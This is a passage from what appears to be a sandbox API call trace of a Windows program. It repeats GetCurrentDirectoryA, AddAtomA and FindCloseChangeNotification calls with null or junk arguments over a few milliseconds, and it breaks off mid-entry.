[0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 [0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 [0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 [0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 [0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.300] AddAtomA (lpString=0x0) returned 0x0 [0051.300] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.300] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.301] AddAtomA (lpString=0x0) returned 0x0 [0051.301] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.301] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.301] AddAtomA (lpString=0x0) returned 0x0 [0051.302] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.303] AddAtomA (lpString=0x0) returned 0x0 [0051.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.303] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.303] AddAtomA (lpString=0x0) returned 0x0 [0051.303] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.304] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.304] AddAtomA (lpString=0x0) returned 0x0 [0051.304] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.305] AddAtomA (lpString=0x0) returned 0x0 [0051.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.305] AddAtomA (lpString=0x0) returned 0x0 [0051.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.305] AddAtomA (lpString=0x0) returned 0x0 [0051.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.305] AddAtomA (lpString=0x0) returned 0x0 [0051.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.305] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.305] AddAtomA (lpString=0x0) returned 0x0 [0051.305] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.307] AddAtomA (lpString=0x0) returned 0x0 [0051.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.307] AddAtomA (lpString=0x0) returned 0x0 [0051.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.307] AddAtomA (lpString=0x0) returned 0x0 [0051.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.307] AddAtomA (lpString=0x0) returned 0x0 [0051.307] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.307] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.308] AddAtomA (lpString=0x0) returned 0x0 [0051.308] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.308] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.309] AddAtomA (lpString=0x0) returned 0x0 [0051.309] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.309] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.310] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.310] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.310] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.311] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.311] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.311] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.312] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.312] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.312] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.313] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.313] AddAtomA (lpString=0x0) returned 0x0 [0051.313] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.314] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.314] AddAtomA (lpString=0x0) returned 0x0 [0051.314] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA (lpString=0x0) returned 0x0 [0051.315] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.315] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.315] AddAtomA 